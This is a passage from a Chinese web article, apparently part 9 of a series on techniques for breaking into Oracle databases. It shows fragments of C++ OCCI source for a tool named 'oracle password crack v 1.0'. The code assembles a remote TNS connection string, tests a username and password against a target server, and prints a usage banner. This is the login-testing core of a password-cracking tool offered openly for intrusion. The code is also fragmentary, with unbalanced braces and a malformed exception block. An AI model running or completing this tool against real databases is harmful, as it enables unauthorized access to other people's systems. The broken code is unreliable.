入侵oracle数据库的一些技巧(9)


  pwd=(char *)pPwd;
  UserName=(char *)uUserName;
  //DataBase=(char *)db;
  sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
  //printf("DataBase=%s\n",DataBase);
  using namespace std; 
using namespace oracle::occi; 

Environment * env=Environment::createEnvironment(Environment::DEFAULT); 

try{ 
Connection *conn=env->createConnection(UserName,pwd,(char *)DataBase); 
if (conn) 
{        printf("\n");
      cout << "SUCCESS - createConnection" << endl;

      //连接远程oracle Server数据库成功
        return 1;
}
    else 
      cout << "FAILURE - createConnection" << endl; 
      return 0;

/*Statement*stmt=conn->createStatement("select * from emp"); 
ResultSet * rset=stmt->executeQuery(); 
while (rset->next()) { 
  cout<<"the empno is:"<<rset->getInt(1)<<endl; 
  cout<<"the ename is:"<<rset->getString(2)<<endl; 

} */
//stmt->closeResultSet (rset); 
// conn->terminateStatement (stmt); 
env->terminateConnection (conn); 

}catch(SQLException ex) 


  //printf("\n");
  cout<<ex.getMessage(); 
  return 0;


Environment::terminateEnvironment(env);
return 0;


}




void usage(){

    printf("name:oracle password crack v 1.0\n");
    printf("author:pt007@vip.sina.com\n\n");
    fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
    printf("options:\n"
                  "\t-x port      specify the port of oracle\n"
                  "\t-u username  specify the username of oracle\n"
                // "\t-p password  specify the password of oracle\n"

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1490.html